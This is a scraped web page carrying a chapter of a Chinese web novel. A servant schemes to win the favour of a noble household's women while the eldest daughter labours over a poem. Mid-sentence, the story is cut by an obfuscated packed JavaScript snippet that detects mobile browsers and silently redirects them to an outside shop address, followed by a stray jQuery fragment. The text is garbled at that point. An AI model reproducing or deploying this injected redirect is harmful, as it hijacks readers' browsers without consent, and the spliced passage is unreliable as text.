第69章 大小姐,这么晚还不睡?

作品:《夫人请卸甲

    “好!”


    李元寿见大小姐有自己的想法,便也没多说什么,道:“大小姐,若是没有其他事,老夫就先去看看老爷的病情……”


    周清澜微微颔首,拜托道:“我父亲的病,就有劳李前辈多费心了。”


    “老朽分内之事,自当尽力而为。”


    李元寿郑重说完后,看了眼似乎承受很大压力的周清澜,内心轻叹了下,这才转身离去。


    见李元寿的身影消失在院门外,周清澜便抬手解开了捂住口鼻的丝帕。


    一张清丽绝美的容颜顿时显露出来。


    她将帕子随手叠起,收入袖中,目光却若有似无地扫过宁默下榻的西厢房方向。


    傍晚时分,院落里竹影婆娑。


    周清澜没再多言,转身朝着内院书房走去。


    ……


    此刻。


    西厢房内,宁默简单洗漱后,和衣躺在硬板床上。


    屋内没有点灯,只有窗外透进的些余光,勾勒出简陋家具的轮廓。


    他双手枕在脑后,睁着眼,望着头顶昏暗的房梁,心中开始默默复盘今日发生的一切。


    可以说跟医官李元寿的相识,真的是意外之喜。


    这老医官在周府的地位很特殊,要是真能得到他的提携,脱去奴籍未必是梦。


    关键不用去当和尚……


    至于大小姐周清澜……虽然没有多说什么话,但显然已经对他有了几分兴趣。


    这是好事!


    若是能够得到她欣赏重用,周府差不多可以挺直腰杆子走路了。


    “沈月茹……”


    宁默在心中默念这个名字,眼前便浮现出她那张温婉中带着依赖的俏脸。


    随后想到今日在漱芳阁内,她喊自己夫君时的羞怯模样。


    当下心头不由一热。


    他赶紧收敛心神,继续复盘。


    二夫人柳含烟……今天看似矜持,实际上身体的反应和那眼神,摆明是意动。


    只是碍于身份,强撑着罢了。


    这女人艳丽如火,心思却明显复杂的多,可能跟年纪有关,容易想的多。


    不像沈月茹说是夫人,实际上就是个不经人事的少女,单纯且向往爱情。


    所以拿下二夫人柳含烟,相对来说,还需要更多的耐心和手段。


    但一旦拿下,无疑是他在周府内院的又一重保障。


    如今有了三夫人沈月茹对他的倾心依赖,要是再加上二夫人柳含烟。


    最后再有大小姐周清澜的青睐,以及李元寿的赏识……算是彻底稳住了。


    局面可以说彻底扭转了!


    宁默的嘴角,不由自主地扬起一抹弧度。


    只要他稳扎稳打,步步为营,在这深宅大院中,未必不能杀出一条通天路!


    届时,就是他脱籍、正名、甚至……重新站在科场之上,拿回属于他的一切的时候了!


    但很快,宁默又强迫自己冷静下来。


    路还长,眼下最要紧的,是演好每一场戏,抓住每一个机会。


    “先睡吧,养足精神,明天……还要去跟夫人交流。”


    宁默轻笑一声,翻了个身,闭上眼睛。


    ……


    不久后。


    天色暗了下来,雅苑内院书房。


    烛火将房间映照得一片通明。


    周清澜并未坐在书案后,而是站在一排书架前,手上拿着一本书,目光沉静却隐含焦虑。


    这次湘南梅园设宴,是她为周家争取喘息之机的关键一步。


    原本湘南诗社态度暧昧,那些自诩清高的读书人唯恐避之不及。


    直到她抛出“代为引荐荣郡王”这个足以让任何人疯狂的诱饵后,诗社和众人才纷纷响应,热情高涨。


    很现实。


    但也合理。


    世间熙熙,皆为利来。


    她要的,就是这份‘利’吸引来的人。


    届时,整个湘南府有才名和才华的年轻俊杰恐怕都会齐聚梅园。


    她需要在诗会上,以绝对的实力技压全场。


    不仅要赢,还要赢得漂亮,赢得让人心服口服。


    以此向所有人宣告:周家即便没有男丁撑门立户,她周清澜一介女子,同样可执掌家业,底蕴犹存!


    更要借此机会,物色一些真正有才学,有潜力却又出身寒微的学子,招揽为周家门生。


    她将提供资源,铺就阶梯。


    而他们,则将成周家未来的底蕴。


    如此,即便父亲真的离开她和母亲……周家也能在这风雨飘摇中,屹立不倒!


    一想到父亲,周清澜眸光便是一黯。


    她甩开杂念,目光重新落回书架。


    当务之急,是诗会。


    她需要一首足以惊艳四座,奠定胜局的诗。


    既然是梅园……那最好是与梅有关的诗句。


    湘南梅园,顾名思义,以梅著称。


    咏梅诗最是应景,也最易出彩,当然……也最难写出新意和高度。


    她此前其实已经打了腹稿多日,但始终不是很满意。


    所以才来书房看书,争取找一些灵感。


    “呼……”


    周清澜轻轻吐出一口气,走到书案后坐下,铺开宣纸,磨墨提笔。


    笔尖蘸满浓墨,悬在纸上,却久久未曾落下。


    书房内极静。


    只有烛芯偶尔爆开的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17267375|198102||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    轻微噼啪声。


    窗外,夜色渐深,寒意透过窗棂缝隙丝丝渗入。


    不知过了多久,笔尖终于落下。


    她写得很慢,字迹清丽工整,却隐约透着一股滞涩。


    “寒枝独立雪初消,”


    “黄昏暗香月浮动……”


    写了两句后,她就停下了笔,蹙眉凝视。


    不对。


    意境尚可,但气韵不足,匠气略重。


    尤其是第二句,化用前人痕迹太明显,落了下乘。


    她抿了抿唇,试图接续下文,可脑海中却一片空白。


    先前构思的诗句此刻都觉得平庸乏味,配不上上阙,更撑不起“技压全场”的野心。


    笔尖的墨汁,缓缓凝聚,滴落在宣纸上,晕开一小团污迹。


    周清澜看着那团墨迹,心中没来由地涌上一股烦躁。


    更深处,是一丝连她自己都不愿承认的……焦虑。


    她自幼聪慧,诗书才华备受赞誉,即便在京城郡王府,与那些真正的豪门贵族,世家子弟相比,她也从不逊色。


    可此次诗会,关系太过重大。


    她不能输。


    也输不起。


    压力如同无形的巨石,沉甸甸压在她的心头。


    她放下笔,揉了揉微微发胀的太阳穴,闭上眼,试图平复心绪。


    ……


    “阿嚏!”


    某一刻,外院西厢,宁默直接被冻醒的。


    初秋的夜,寒意渐浓,他这屋里被褥单薄,窗户纸还有些破漏,凉风飕飕地往里钻。


    他搓了搓胳膊,睡意全无。


    想起身喝口水,却发现茶壶早就空了。


    “这一个人睡,还是不如有个人暖被窝啊……”


    宁默内心低估,披上外衫,打算去院中水缸舀点冷水将就一下。


    只是刚推开房门,一股更冷的夜风扑面而来,让他冷不丁地打了个寒颤。


    就在这时。


    他瞥见内院书房的方向,竟还透出昏黄的烛光。


    这么晚了,大小姐周清澜还没睡?


    宁默有些诧异。


    这都什么时候了,居然还没有回去休息。


    学霸都这么卷的吗?


    这是打算熬夜苦读?


    他本来不想多事,但转念一想……这不正是表现自己体贴的大好机会吗?


    虽然大小姐下午对他态度冷淡,但越是如此,越要润物细无声。


    归根结底,周清澜也是个少女。


    少女心房还是容易撬动的!


    再冷淡……也不会真冷到哪里去,大多都是装出来的。


    宁默稍作整理,便朝着内院走去。